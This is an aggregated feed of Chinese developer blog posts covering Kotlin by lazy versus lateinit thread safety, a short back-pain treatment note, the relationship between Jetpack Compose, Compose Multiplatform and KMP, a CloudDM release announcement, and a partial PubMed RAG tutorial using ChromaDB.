    A[声明 by lazy 属性] --> B{是否已初始化?}
    B -->|是| C[返回缓存值]
    B -->|否| D[执行初始化代码]
    D --> E[缓存结果]
    E --> C

    F[声明 lateinit 变量] --> G{是否已初始化?}
    G -->|是| H[返回变量值]
    G -->|否| I[抛出异常]

4. 详细对比

class ComparisonExample {
    // by lazy 示例
    private val lazyValue by lazy {
        println("初始化 lazy 值")
        "Lazy Value"
    }
    
    // lateinit 示例
    private lateinit var lateinitValue: String
    
    fun demo() {
        // lazy: 首次访问时初始化
        println(lazyValue)  // 打印初始化消息和值
        println(lazyValue)  // 直接使用缓存值
        
        // lateinit: 需要手动初始化
        try {
            println(lateinitValue)  // 如果未初始化会抛出异常
        } catch (e: UninitializedPropertyAccessException) {
            println("lateinit 变量未初始化")
        }
        
        lateinitValue = "Lateinit Value"  // 初始化
        println(lateinitValue)  // 现在可以安全使用
    }
}

5. 使用场景对比

class UsageScenarios {
    // by lazy 适合:
    private val heavyResource by lazy {
        // 1. 计算成本高的初始化
        // 2. 可能不会使用的资源
        // 3. 需要确保线程安全的场景
        loadHeavyResource()
    }
    
    // lateinit 适合:
    private lateinit var dependency: SomeService
    // 1. 依赖注入
    // 2. Android Activity/Fragment 的视图绑定
    // 3. 单元测试的 setup 方法中初始化
}

6. 主要区别总结:

  1. 初始化时机

    • by lazy: 首次访问时自动初始化
    • lateinit: 需要手动初始化
  2. 可空性

    • by lazy: 不可空,总是有值
    • lateinit: 可能未初始化,访问时可能抛异常
  3. 属性类型

    • by lazy: 只能用于 val(不可变)
    • lateinit: 只能用于 var(可变)
  4. 线程安全

    • by lazy: 默认线程安全
    • lateinit: 不保证线程安全
  5. 内存占用

    • by lazy: 需要额外对象存储初始化逻辑
    • lateinit: 较低的内存开销

7. 使用建议

class UsageRecommendations {
    // 使用 by lazy 当:
    private val config by lazy {
        loadConfiguration()  // 耗时操作
    }
    
    // 使用 lateinit 当:
    private lateinit var binding: ActivityMainBinding
    
    fun onCreate() {
        binding = ActivityMainBinding.inflate(layoutInflater)
    }
}

选择建议:

  1. 需要线程安全的延迟初始化 → 使用 by lazy
  2. 依赖注入或框架初始化 → 使用 lateinit
  3. 需要可变属性 → 使用 lateinit
  4. 需要确保只初始化一次 → 使用 by lazy

两者线程安全问题

1. by lazy 的线程安全机制

by lazy 默认使用 SYNCHRONIZED 模式,内部使用了同步锁来保证线程安全:

class ThreadSafetyDemo {
    // 默认是 SYNCHRONIZED 模式
    private val lazyValue by lazy {
        println("初始化 lazy 值,线程:${Thread.currentThread().name}")
        "Lazy Value"
    }
    
    // 等同于以下显式声明
    private val explicitLazyValue by lazy(LazyThreadSafetyMode.SYNCHRONIZED) {
        println("初始化 lazy 值,线程:${Thread.currentThread().name}")
        "Lazy Value"
    }
}

by lazy 的底层实现:

// 简化的 SynchronizedLazyImpl 实现
private class SynchronizedLazyImpl<T>(initializer: () -> T) : Lazy<T> {
    private var value: Any? = UNINITIALIZED_VALUE
    private var initializer: (() -> T)? = initializer
    
    @Volatile private var _value: Any? = UNINITIALIZED_VALUE
    
    override val value: T
        get() {
            val _v1 = _value
            if (_v1 !== UNINITIALIZED_VALUE) {
                @Suppress("UNCHECKED_CAST")
                return _v1 as T
            }
            
            return synchronized(this) {
                val _v2 = _value
                if (_v2 !== UNINITIALIZED_VALUE) {
                    @Suppress("UNCHECKED_CAST")
                    _v2 as T
                } else {
                    val typedValue = initializer!!()
                    _value = typedValue
                    initializer = null
                    typedValue
                }
            }
        }
}

2. lateinit 的非线程安全性

lateinit 没有任何同步机制,在多线程环境下可能出现问题:

class LateinitThreadIssueDemo {
    private lateinit var sharedResource: MutableList<String>
    
    // 可能出现线程安全问题的代码
    fun initializeInMultiThread() {
        Thread {
            if (!::sharedResource.isInitialized) {
                sharedResource = mutableListOf()
            }
            sharedResource.add("Thread 1")
        }.start()
        
        Thread {
            if (!::sharedResource.isInitialized) {
                sharedResource = mutableListOf()
            }
            sharedResource.add("Thread 2")
        }.start()
    }
}

3. 线程安全问题演示

class ThreadSafetyExample {
    // by lazy 线程安全演示
    private val safeLazyList by lazy {
        println("初始化 lazy list")
        mutableListOf<String>()
    }
    
    // lateinit 非线程安全演示
    private lateinit var unsafeLateinitList: MutableList<String>
    
    fun testThreadSafety() {
        // 创建多个线程同时访问
        repeat(10) { threadId ->
            Thread {
                // by lazy 是线程安全的
                safeLazyList.add("Item from thread $threadId")
                
                // lateinit 可能出现问题
                if (!::unsafeLateinitList.isInitialized) {
                    unsafeLateinitList = mutableListOf()
                }
                unsafeLateinitList.add("Item from thread $threadId")
            }.start()
        }
    }
}

4. 线程安全的不同模式

by lazy 提供了三种线程安全模式:

class LazyThreadSafetyModes {
    // 1. SYNCHRONIZED: 默认模式,线程安全
    private val synchronizedValue by lazy(LazyThreadSafetyMode.SYNCHRONIZED) {
        println("线程安全初始化")
        "Synchronized Value"
    }
    
    // 2. PUBLICATION: 可能多次执行初始化,但只会使用第一个完成的结果
    private val publicationValue by lazy(LazyThreadSafetyMode.PUBLICATION) {
        println("可能执行多次,但只用第一个结果")
        "Publication Value"
    }
    
    // 3. NONE: 不提供任何线程安全保证
    private val unsafeValue by lazy(LazyThreadSafetyMode.NONE) {
        println("非线程安全初始化")
        "Unsafe Value"
    }
}

5. 如何使 lateinit 线程安全

如果需要让 lateinit 变量线程安全,需要手动添加同步机制:

class ThreadSafeLateinit {
    private lateinit var resource: MutableList<String>
    private val initLock = Any()
    
    fun safeInitialize() {
        synchronized(initLock) {
            if (!::resource.isInitialized) {
                resource = mutableListOf()
            }
        }
    }
    
    fun safeAdd(item: String) {
        synchronized(initLock) {
            if (!::resource.isInitialized) {
                resource = mutableListOf()
            }
            resource.add(item)
        }
    }
}

6. 性能对比

class PerformanceComparison {
    // by lazy: 有额外的同步开销
    private val lazyValue by lazy {
        heavyComputation()
    }
    
    // lateinit: 没有同步开销,但需要手动处理线程安全
    private lateinit var lateinitValue: String
    
    fun measurePerformance() {
        val startTime1 = System.nanoTime()
        println(lazyValue)
        val lazyTime = System.nanoTime() - startTime1
        
        val startTime2 = System.nanoTime()
        lateinitValue = heavyComputation()
        println(lateinitValue)
        val lateinitTime = System.nanoTime() - startTime2
        
        println("Lazy time: $lazyTime")
        println("Lateinit time: $lateinitTime")
    }
}

7. 使用建议

class UsageRecommendations {
    // 1. 单线程环境:可以使用 lateinit
    private lateinit var singleThreadResource: String
    
    // 2. 多线程环境,需要线程安全:使用 by lazy
    private val threadSafeResource by lazy {
        "Thread safe initialization"
    }
    
    // 3. 多线程环境,但性能关键:使用 lateinit + 自定义同步
    private lateinit var performanceCriticalResource: String
    private val lock = Any()
    
    fun initializeWithCustomSync() {
        synchronized(lock) {
            if (!::performanceCriticalResource.isInitialized) {
                performanceCriticalResource = "Custom synchronized initialization"
            }
        }
    }
}

总结:

  1. by lazy 默认提供了线程安全保证,适合在多线程环境下使用
  2. lateinit 没有内置的线程安全机制,需要时要手动添加同步
  3. 在选择使用哪种方式时,需要考虑线程安全需求和性能要求

by Nathan20240616 at January 23, 2025 07:39 AM

juejin article

疼痛管理策略

初始诊断

  • 症状:腰部疼痛、脖子酸痛
  • 初步治疗:针灸 + 中频电疗(社区医院)

进一步诊断

  • 无明显改善:考虑骨头错位,前往专业按摩医院进行矫正。

综合治疗

  • 肌肉劳损:中频电疗(社区医院)
  • 经络不通:精油推背(高端按摩院)
  • 骨头错位:按摩矫正(专业按摩医院)

疼痛管理策略

1. 腰肌劳损

  • 治疗方法:中频电疗
  • 优点:适用于肌肉劳损,能够缓解肌肉紧张和疼痛。
  • 推荐场所:社区医院或专业的康复中心。

2. 经络不通

  • 治疗方法:精油推背
  • 优点:疏通经络,缓解全身不适。
  • 推荐场所:高端按摩院或专业中医诊所。
  • 费用:较高,适合长期调理。

3. 骨头小错位

  • 治疗方法:按摩矫正
  • 优点:纠正骨骼位置,缓解局部疼痛。
  • 推荐场所:专业的按摩医院或骨科诊所。

4. 腰酸脖子酸

  • 治疗方法:针灸 + 中频电疗
  • 优点:针灸可以调节气血,中频电疗可以缓解肌肉紧张。
  • 推荐场所:社区医院或专业的康复中心。
  • 费用:较为经济实惠。

综合治疗方案

  1. 初期诊断

    • 如果不确定具体病因,可以先尝试针灸和中频电疗,观察效果。
    • 若多次治疗后仍未缓解,考虑是否存在骨头错位的问题,前往专业按摩医院进行矫正。
  2. 综合治疗

    • 根据具体症状选择合适的治疗方法,结合使用中频电疗、针灸和精油推背。
    • 在急性期过后,逐步增加肌肉力量的锻炼,预防复发。

具体步骤

  1. 明确症状

    • 观察疼痛的具体位置和类型,判断是否属于肌肉劳损、经络不通或骨头错位。
  2. 选择治疗手段

    • 对于肌肉劳损,优先采用中频电疗。
    • 对于经络不通,可以选择精油推背。
    • 对于骨头错位,寻求专业按摩矫正。
  3. 辅助治疗

    • 使用针灸和中频电疗缓解腰酸脖子酸。
    • 在社区医院进行便捷和经济的治疗。
  4. 后期康复

    • 加强肌肉力量的锻炼,防止再次受伤。

by 山野春茶 at January 23, 2025 06:58 AM

juejin android

Jetpack Compose 和 Compose Multiplatform 还有 KMP 的关系

今天刚好看到官方发布了一篇文章,用于讨论 Compose Multiplatform 和 Jetpack Compose 之间的区别,突然想起之前评论区经常看到说 “Flutter 和 CMP 对于 Google 来说项目重叠的问题”,刚好可以放一起聊一聊

image-20250123135625517

最近写的几篇内容写的太干,刚好要过年,大家也放假了,今天写篇水的。

实际上很多时候大家在讨论 Compose 的时候,会下意识把 Jetpack Compose 和 Compose Multiplatform 当成一个东西 ,但是实际上其实并合适,同样的情况也经常发生在 Kotlin Multiplatform (KMP) 和 Compose Multiplatform 之间。

这里其实需要搞清楚一个项目“归属”问题,就像是 JetBrains 自己发的这个 :

  • Jetpack Compose 是 Google 的项目,由 Google 支持的 Android UI 框架,属于 Google
  • Compose Multiplatform 是由 JetBrains 开发的 Jetpack Compose 「扩展」,用于跨平台支持,属于 JetBrains

所以,你如果从实际项目归属看,其实严格意义上说 Compose Multiplatform 是属于 JetBrains 开发的「拓展」支持,本质上并不是直接归属 Google 项目,属于合作性质,所以从内部项目来说,它和 Flutter 并不直接重叠

只是,由于 Compose Multiplatform 是基于 Jetpack Compose 开发,因此使用这些框架的体验非常相似,同时两者都由 Compose 内部的 compiler 和 runtime 进行支持,所以有相同的核心概念,可以用类似的 API 来构建 UI,包括 @Composable 函数、状态处理 API(如 remember)、UI 组件(如 RowColumn)、修饰符、动画 API 等。

比如 JetBrains 提到,Jetpack 包含的 first-party libraries,例如 Foundation 和 Material 等,这些都是 Google 为 Android 发布的,而为了使这些库提供的 API 可从通用代码中使用,JetBrains 维护了这些库的多平台版本,这些库是为 Android 以外的目标发布的。

所以其实整个社区生态也是 JetBrains 在维护

类似的还有 2024 Google I/O 上正式官宣的 Kotlin Multiplatform,它也是 Google Workspace 团队的一项长期「投资」项目,由 JetBrains 开发维护和开源的项目,简单来说,JetBrains 主导投入,Google Workspace 投资并提供技术支持。

所以本质上你看 Compose Multiplatform 和 Kotlin Multiplatform 的资料,它都是在 JetBrains 相关的网站发布,属于 JetBrains 的项目,甚至托管 Package 的 klibs.io 平台,也是属于 JetBrains 管理和发布。

当然,你要说和 Google 完全没关系肯定是不可能的,毕竟 Kotlin 、KMP、CMP 都属于 Google 和 JetBrains 深度合作项目,但是你要说是完全「亲生儿子」,又不是十分恰当,就像 JetBrains 提到的:

Compose Multiplatform 是基于 Google 发布的代码和版本构建,虽然 Google 的重点是适用于 Android 的 Jetpack Compose,但 Google 和 JetBrains 之间也密切合作以实现 Compose Multiplatform。

从这里理解,就可以大概理清楚:

  • Jetpack Compose 是 Google 的亲儿子
  • Compose Multiplatform 是通过「捐精」形式和 JetBrains “生出”的「私生子」,归母亲所有
  • Kotlin Multiplatform 是 JetBrains 为「私生子」 提供的「童养媳」

是的,事实上 Kotlin Multiplatform 和 Compose Multiplatform 还需要分开看待,Kotlin Multiplatform 属于是 Kotlin 的「拓展」功能,它和 Compose Multiplatform 其实并没有“必然” 的关系:

你不用 Compose Multiplatform ,也可以使用 Kotlin Multiplatform ,它是支持独立运行的存在

如果硬是要举例,那就是 Kotlin Multiplatform 是可以直接用于编写跨平台共享业务逻辑的,甚至曾经就有些项目是 Flutter 写 UI ,然后 Kotlin Multiplatform 写业务的情况

只是现在有了 Compose Multiplatform , 所以 Kotlin Multiplatform 可以作为 Compose Multiplatform 的插件和底层跨平台支撑。

反过来看,也可以认为 Compose Multiplatform 作为 Kotlin Multiplatform 项目中的 UI 支持,它不是 Kotlin Multiplatform 本身的一部分,只是一个通过启用共享 UI 来补充 KMP 的 SDK

就像是,你想在鸿蒙上兼容 KMP 和 Compose Multiplatform ,那其实是两个工作量。

所以,很多时候我们在提 Compose 的时候,会直接潜意识的把 Jetpack Compose、Compose Multiplatform 和 Kotlin Multiplatform 都当成一个整体和归属讨论,当时实际上,它们之间还是需要区分,也有必要做一些区分。

参考链接:

www.jetbrains.com/help/kotlin…

by 恋猫de小郭 at January 23, 2025 06:47 AM

oschina news project

国产数据库管理工具 CloudDM 个人版 v3.0.0 发布,更适配达梦数据库

CloudDM 个人版 ClouGence 公司推出的一款一站式多数据源开发管理工具,使用它可以方便地访问和管理 MySQL、Oracle、PostgreSQL、阿里云 RDS、Greenplum、TiDB、Redis、StarRocks、Doris、SelectDB、SQL Server、ClickHouse、OceanBase 、PolarDB-X 、IBM Db2 等多种不同类型的数据库。通过 CloudDM 丰富的数据源支持可以避免在多个专业工具之间切换,从而提高工作效率。

它是本地化的应用程序,没有后台进程。和 DataGripNavicat 一样在安装完成后,只需要双击应用程序图标,便可以方便地管理位于本地计算机或远程计算机上的数据库。已支持 WindowsMacOS、Linux 三个操作系统。

本次亮点

  • 新版本的 SQL 解析器引擎,可以支持更多种类的 SQL 语句。

  • 新版本针对达梦数据库提供了较大的特性适配,相信使用 CloudDM 个人版操作达梦数据库会更加如鱼得水。

  • 应用程序的用户数据目录和日志目录移动到适当的位置,使其符合一个标准应用程序的要求。

  • 帮助菜单中新增 “打开日志文件夹”、“打开数据文件夹”,方便问题反馈及重要数据源的备份。

更新内容

[新增]

  • [新增] Redis 数据源可以选择数据库功能。

  • [新增] 支持 Oracle 数据库连接失败时通过标记表示状态。

  • [新增] MariaDB 数据源的支持。

  • [新增] StarRocks 数据源支持 3.3 以上版本修改字段名称。

  • [新增] 达梦数据源创建视图/触发器/存储过程/函数功能。

  • [新增] 支持达梦数据源创建表时配置外键、约束和分区。

[优化]

  • [优化] Redis 数据源驱动更新到 5.2.0。

  • [优化] 左侧数据库对象浏览器点击多个数据源时,当有一个数据源卡顿时不再影响其它操作。

  • [优化] 数据源的网络连接异常或断开时的消息识别。

  • [优化] 存储过程在展示过程中如果没有参数,左侧展开图标效果显示不正确的问题。

  • [优化] Oracle 双击表,生成的查询语句会携带 Schema。

  • [优化] 内核上针对 UI 功能的可定制化能力。

  • [优化] 插件加载机制的深度优化。

[修复]

  • [修复] Oracle connectionTimeout 不生效问题。

  • [修复] Redis 数据源不可用的问题。

  • [修复] Redis 双击 KEY 无法生成对应语句的问题。

  • [修复] 表存在索引时,转换 DDL 为 TiDB、OceanBase 失败问题。

  • [修复] SAP HANA 在创建表、修改表、数据编辑时报错问题。

  • [修复] 电脑在休眠状态唤醒后,软件无法正常使用的问题。

  • [修复] StarRocks 当数据源版本信息为空时,表设计器出现空指针问题。

  • [修复] 达梦设计表时,唯一索引不显示问题。

下载与反馈

by 来源: 投稿 at January 23, 2025 06:41 AM

juejin freebie

从基础到进阶:基于RAG PubMed检索AI Agents (三)

这是本系列的第三部分,今天我们将继续构建一个基于RAG(检索增强生成)的AI Agents,目的是回答问题并与生物医学科研文摘进行互动。

在上一部分中,我们已经实现了根据使用者提出的自然语言问题,从PubMed数据库中获取相关的科学文摘。接下来,我们将重点讲解如何保存这些数据,如何将获取的文摘转化为向量,并将它们存储到向量数据库中(我们将以ChromaDB为例来演示)。

Chroma DB 是一个用来存储和快速查找向量数据的数据库,常用于处理机器学习中的相似度搜索。简单来说,它可以帮助你高效地找到和某个数据相似的其他数据。

再次提醒,这就是我们在整个系列中要实现的完整解决方案:

构建过程

已完成的步骤概述

如果你还没有跟随第一部分和第二部分,建议先阅读,因为接下来的内容将在这些基础上继续构建。在上一部分结束时,我们的项目结构大致如下:

.
├── app
│   ├── app.py
│   ├── backend
│   │  ├── abstract_retrieval
│   │  │   ├── interface.py
│   │  │   ├── pubmed_retriever.py
│   │  │   └── pubmed_query_simplification.py
│   │  └── data_repository
│   │  │   ├── interface.py
│   │  │   ├── local_data_store.py
│   │  │   └── models.py
│   ├── components
│   │   ├── chat_utils.py
│   │   ├── llm.py
│   │   └── prompts.py
│   └── tests
│       └── test_chat_utils.py
├── assets
│   └── pubmed-screener-logo.jpg
└── environment
    └── requirements.txt

为数据创建抽象层

  • 在上一部分中,我们学习了如何使用自然语言查询检索生物医学文摘。现在,我们将构建一个逻辑,用来持久化数据,供后续在我们的Streamlit应用中使用。
  • 我们将采用仓库模式来为我们的数据创建一个抽象层。如果使用不同于本教程中使用的数据存储方式(为了简单起见,我们将使用本地文件系统),这种方式对构建本地业务特别有用。例如,你可以使用Postgres数据库。使用仓库模式,你只需要插入你自己实现的通用接口即可。

构建数据仓库的步骤

  • 定义pydantic模型,表示数据库记录,包含关于用户查询的详细信息(UserQueryRecord),以及检索到的文摘模型(ScientificAbstract)。
  • 我们将把这些模型添加到我们现有的**models.py文件中的data_repository**模块下:
from typing import Optional
from pydantic import BaseModel


class ScientificAbstract(BaseModel):
    doi: Optional[str] = None
    title: Optional[str] = None
    authors: Optional[str] = None
    year: Optional[int] = None
    abstract_content: str

class UserQueryRecord(BaseModel):
    user_query_id: str
    user_query: str
  • UserQueryRecord中,我们要记录用户的原始查询内容,这些内容会显示在界面上。同时,还需要一个user_query_id——这是一个唯一的整数,用来给文件命名,并通过它来查找文件。
  • ScientificAbstract类中,我们将存储文摘的内容和相关的元数据。
  • 接下来,我们需要在data_repository模块中创建一个**interface.py**文件:
from abc import ABC, abstractmethod
from typing import List, Dict
from langchain_core.documents.base import Document
from backend.data_repository.models import ScientificAbstract


class UserQueryDataStore(ABC):
    """与文摘数据库交互的仓储类"""

    @abstractmethod
    def save_dataset(self, abstracts_data: List[ScientificAbstract], user_query: str) -> str:
        """
        将文摘数据和查询细节保存到数据存储中。
        返回一个字符串,表示新分配的查询ID。
        """
        raise NotImplementedError

    @abstractmethod
    def read_dataset(self, query_id: str) -> List[ScientificAbstract]:
        """
        从数据存储中检索指定查询ID的文摘数据。
        """
        raise NotImplementedError

    @abstractmethod
    def delete_dataset(self, query_id: str) -> None:
        """
        从数据库中删除指定查询ID的所有数据。
        """
        raise NotImplementedError

    @abstractmethod 
    def get_list_of_queries(self) -> Dict[str, str]:
        """
        检索查询ID和用户查询的字典。用于在UI上显示查询列表,并供查找使用。
        """
        raise NotImplementedError

    def create_document_list(self, abstracts_data: List[ScientificAbstract]) -> List[Document]:
        """
        将文摘数据转换为 LangChain 文档对象的列表。
        每个文档包含文摘内容及其元数据。
        """
        return [
            Document(
                page_content=entry.abstract_content, metadata={
                    "source": entry.doi, "title": entry.title, 
                    "authors": entry.authors, "year_of_publication": entry.year
                }
            )
            for entry in abstracts_data
        ]

    def read_documents(self, query_id: str) -> List[Document]:
        """ 
        读取数据集并将其转换为所需的 List[Document] 类型。
        """
        query_record = self.read_dataset(query_id)
        return self.create_document_list(query_record)
  • 这个接口定义了我们与数据库交互的主要方法,用来处理用户查询相关的文摘。
  • 有三个抽象方法需要实现,还有两个通用方法会被继承——create_document_list,它将文摘列表转换为LangChainDocuments格式,和read_documents,这是read_datasetcreate_document_list的封装,方便我们调用。

请注意,我们会直接使用文摘的完整内容来创建Documents,因为文摘本身很简短。如果是较长的文本,我们需要先将文本分块处理,再加载到LangChain Documents中。

  • 接下来,在data_repository模块下创建一个local_data_store.py文件,实现接口中的抽象方法。这个文件将负责把数据以JSON文件的形式保存在本地(当然,也可以根据需求使用其他存储方式)。
import json
import os
import shutil
from typing import Dict, List
from backend.data_repository.models import UserQueryRecord, ScientificAbstract
from backend.data_repository.interface import UserQueryDataStore
from config.logging_config import get_logger


class LocalJSONStore(UserQueryDataStore):
    """ 
    用于本地测试,通过本地JSON文件模拟数据库存储。
    """

    def __init__(self, storage_folder_path: str):
        self.storage_folder_path = storage_folder_path
        self.index_file_path = os.path.join(storage_folder_path, 'index.json')
        self.logger = get_logger(__name__)
        self.metadata_index = None

    def get_new_query_id(self) -> str:
        """
        通过递增上一个查询ID的整数后缀来生成新的查询ID。
        """
        try:
            with open(self.index_file_path, 'r') as file:
                data = json.load(file)
        except (FileNotFoundError, json.JSONDecodeError):
            data = {}
        keys = [k for k in data.keys() if k.startswith('query_')]
        if not keys:
            return 'query_1'
        numbers = [int(k.split('_')[-1]) for k in keys]
        max_number = max(numbers)
        return f'query_{max_number + 1}'

    def read_dataset(self, query_id: str) -> List[ScientificAbstract]:
        """ 
        从本地存储读取包含文摘的数据集。
        """
        try:
            with open(f'{self.storage_folder_path}/{query_id}/abstracts.json', 'r') as file:
                data = json.load(file)
                return [ScientificAbstract(**abstract_record) for abstract_record in data]
        except FileNotFoundError:
            self.logger.error(f'未找到查询 {query_id} 的JSON文件。')
            raise FileNotFoundError('未找到JSON文件。')

    def save_dataset(self, abstracts_data: List[ScientificAbstract], user_query: str) -> str:
        """ 
        将文摘数据集和查询元数据保存到本地存储,重建索引,并返回查询ID。
        """
        try:
            query_id = self.get_new_query_id()
            user_query_details = UserQueryRecord(
                user_query_id=query_id, 
                user_query=user_query
            )

            os.makedirs(f'{self.storage_folder_path}/{query_id}', exist_ok=True)
            
            with open(f"{self.storage_folder_path}/{query_id}/abstracts.json", "w") as file:
                list_of_abstracts = [model.model_dump() for model in abstracts_data]
                json.dump(list_of_abstracts, file, indent=4)

            with open(f"{self.storage_folder_path}/{query_id}/query_details.json", "w") as file:
                json_data = user_query_details.model_dump_json(indent=4)
                file.write(json_data)

            self.logger.info(f"查询ID {query_id} 的数据保存成功。")
            self._rebuild_index()  # 数据保存后重建索引

            return query_id

        except Exception as e:
            self.logger.error(f"保存查询ID {query_id} 数据集失败: {e}")
            raise RuntimeError(f"由于错误导致保存数据集失败: {e}")
        
    def delete_dataset(self, query_id: str) -> None:
        """ 
        从本地存储中删除文摘数据集和查询元数据。
        """
        path_to_data = f'{self.storage_folder_path}/{query_id}'
        if os.path.exists(path_to_data):
            shutil.rmtree(path_to_data)
            self.logger.info(f"目录 '{path_to_data}' 已删除。")
            self._rebuild_index()  # 删除数据后重建索引
        else:
            self.logger.warning(f"目录 '{path_to_data}' 不存在,无法删除。")

    def get_list_of_queries(self) -> Dict[str, str]:
        """ 
        从索引中获取包含查询ID(作为键)和原始用户查询(作为值)的字典。
        """
        return self.metadata_index

    def _rebuild_index(self) -> Dict[str, str]:
        """ 
        从所有查询详情文件重建索引,供查询使用。
        """
        index = {}
        query_data_paths = [os.path.join(self.storage_folder_path, name) for name in os.listdir(self.storage_folder_path)
                            if os.path.isdir(os.path.join(self.storage_folder_path, name))]
        
        for query_data_path in query_data_paths:
            metadata_path = os.path.join(query_data_path, 'query_details.json')
            if os.path.exists(metadata_path):
                with open(metadata_path, 'r') as file:
                    metadata = json.load(file)
                    index[metadata['user_query_id']] = metadata['user_query']
            else:
                self.logger.warning(f"在 {query_data_path} 中未找到 query_details.json 文件")
        
        with open(self.index_file_path, 'w') as file:
            json.dump(index, file, indent=4)
        self.metadata_index = index
        return index
  • 我们刚刚实现了将检索到的科研文摘保存在本地文件中。每个用户的查询都会生成一个专属文件夹,这个文件夹包含两个文件:

    • abstracts.json:保存用户查询的相关文摘内容。
    • query_details.json:保存用户查询的详细信息,比如查询的原始文本。
  • 除此之外,所有查询的索引信息还会保存在一个名为index.json的文件中,里面记录了每个查询ID和对应的用户查询内容。

这部分的工作已经完成了,现在我们可以继续进入vector DB部分。

构建RAG 工作流(RAG Pipeline)

在这个教程系列中,我们将从一个简单的RAG场景入手,虽然它有些局限,但后续会有更高级的技术讲解,比如GraphRAG。你可以在后面的文章中看到这些内容。

  • 要构建这个RAG 工作流,我们需要做两个选择:

    1. 选择一个向量嵌入模型,它的作用是把文本(比如文摘)转化成一组数字,这样计算机就能“理解”文本内容,并能进行相似度比较。
    2. 选择一个向量存储,用于存储这些“理解过”的数字,方便后续的快速查找和比对。
  • 在这个例子中,我选择了OpenAI向量嵌入模型Chroma向量存储。不过,你也可以根据需要,选择不同的模型和存储方式。

简单总结

  • 向量嵌入模型:将文本内容转化为数字向量(简单来说,就是把文本变成计算机能理解的数据)。
  • 向量存储:就是保存这些数字向量的地方,方便后续查找。

接下来,我们将继续构建这个Pipeline,让模型能够从向量存储中找到相关的文摘内容,用来回答生物医学问题。

构建RAG工作流的步骤

  1. 安装Chromadb驱动

    • 你需要安装chromadb驱动,确保版本为0.4.24,可以通过以下命令来安装:
`pip install chromadb==`0.6.3

2. 更新**requirements.txt**文件

*   安装完依赖后,`requirements.txt`文件的内容应该是这样的:
streamlit==1.41.1
langchain==0.3.14
langchain-community==0.3.14
langchain-core==0.3.30
langchain-openai==0.3.1
langchain-text-splitters==0.3.5
python-dotenv==1.0.1 
pydantic==2.10.5
pydantic-settings==2.7.1
pydantic_core==2.27.2
metapub==0.5.12  
chromadb==0.6.3

3. 创建RAG工作流模块

***backend**文件夹下创建一个新的子模块,命名为**rag\_pipeline**,用于存放RAG工作流的代码。

4. 定义RAG工作流接口

*   在刚创建的**rag\_pipeline**模块下,创建一个新的文件,命名为\*\*[interface.py](http://interface.py)\*\*。这个文件将定义RAG工作流的接口。
from typing import List
from abc import ABC, abstractmethod
from langchain_core.documents.base import Document
from langchain_core.embeddings import Embeddings
from langchain.vectorstores import VectorStore


class RagWorkflow(ABC):
    """ 
    RAG工作流的接口
    """

    def __init__(self, embeddings: Embeddings):
        # 初始化时传入用于向量嵌入的对象
        self.embeddings = embeddings
    
    @abstractmethod
    def create_vector_index_for_user_query(self, documents: List[Document], query_id: str) -> VectorStore:
        """ 
        为特定用户查询创建基于文档的向量索引
        """
        raise NotImplementedError
    
    @abstractmethod
    def get_vector_index_by_user_query(self, documents: List[Document], query_id: str) -> VectorStore:
        """ 
        根据查询ID获取现有的向量索引
        """
        raise NotImplementedError
  • 这个接口包含两个抽象方法——一个用于为给定的查询ID创建向量索引,另一个用于通过查询ID获取现有的向量索引。
  • 接下来,我们来看一下ChromaDB的实现。在rag_pipeline文件夹下创建一个新文件,命名为chromadb_rag.py
from typing import List
import chromadb
from langchain.vectorstores import VectorStore
from langchain_community.vectorstores import Chroma
from langchain_core.embeddings import Embeddings
from langchain_core.documents.base import Document
from backend.rag_pipeline.interface import RagWorkflow
from config.logging_config import get_logger


class ChromaDbRag(RagWorkflow):
    """ 
    使用 Chroma 作为向量存储的简单 RAG 工作流 
    """

    def __init__(self, persist_directory: str, embeddings: Embeddings):
        self.persist_directory = persist_directory  # 持久化存储的目录路径
        self.embeddings = embeddings  # 用于生成向量的嵌入模型
        self.client = self._create_chromadb_client()  # 创建 Chroma 数据库客户端
        self.logger = get_logger(__name__)  # 配置日志记录器
    
    def _create_chromadb_client(self):
        """ 创建并返回一个持久化的 Chroma 客户端 """
        return chromadb.PersistentClient(path=self.persist_directory)
    
    def create_vector_index_for_user_query(self, documents: List[Document], query_id: str) -> VectorStore:
        """
        为用户查询创建 Chroma 向量索引,并将查询 ID 作为集合名称。
        """
        self.logger.info(f'为查询 {query_id} 创建向量索引')
        try:
            # 使用文档和嵌入模型创建向量索引
            index = Chroma.from_documents(
                documents, 
                self.embeddings,
                client=self.client, 
                collection_name=query_id  # 将查询 ID 作为集合名称
            )
            return index
        except Exception as e:
            self.logger.error(f'创建查询 {query_id} 的向量索引时发生错误。错误信息:{e}')
            raise
    
    def get_vector_index_by_user_query(self, query_id: str) -> VectorStore:
        """
        根据查询 ID 加载已有的 Chroma 向量索引。
        """
        self.logger.info(f'加载查询 {query_id} 的向量索引')
        try:
            # 根据查询 ID 加载现有的向量索引
            index = Chroma(
                client=self.client,
                collection_name=query_id,
                embedding_function=self.embeddings,
            )
            return index
        except Exception as e:
            self.logger.error(f'加载查询 {query_id} 的向量索引时发生错误。错误信息:{e}')
            raise
  • 这个实现负责创建新的向量索引,并从ChromaDB中获取现有的索引。
  • 在rag_pipeline模块中创建一个新文件embeddings.py,并在其中初始化你的嵌入实例:
import os
from langchain_openai import OpenAIEmbeddings
from dotenv import load_dotenv

load_dotenv()

#  OpenAI 的 API Key
OPENAI_API_KEY = os.environ.get('OPENAI_API_KEY')

# 初始化 OpenAI 嵌入模型
embeddings = OpenAIEmbeddings(
    openai_api_key=OPENAI_API_KEY
)

测试客户端代码!

  • 现在我们准备好进行客户端代码的测试了。测试的内容包括我们在本系列的上一部分中写的代码(PubMedRetriever),这个代码可以帮助我们从PubMed获取文章。
  • 接下来,我们要创建一个测试脚本,命名为test_rag_pipeline.py,并在里面写下以下的客户端代码:
from metapub import PubMedFetcher
from backend.rag_pipeline.embeddings import embeddings
from backend.abstract_retrieval.pubmed_retriever import PubMedAbstractRetriever
from backend.data_repository.local_storage import LocalJSONStore
from backend.rag_pipeline.chromadb_rag import ChromaDbRag

query = "Does abamectin cause cancer?"

# 第一步:使用 PubMedAbstractRetriever 根据查询“Does abamectin cause cancer?” 获取文献摘要数据
pubmed_fetcher = PubMedFetcher()  # 创建 PubMedFetcher 实例,用于从 PubMed 获取数据
abstract_retriever = PubMedAbstractRetriever(pubmed_fetcher)  # 创建 PubMedAbstractRetriever 实例,用于检索文献摘要
abstracts = abstract_retriever.get_abstract_data(query)  # 使用 query 获取相关文献摘要

# 第二步:使用 LocalJSONStorage 将检索到的摘要数据保存在本地存储中
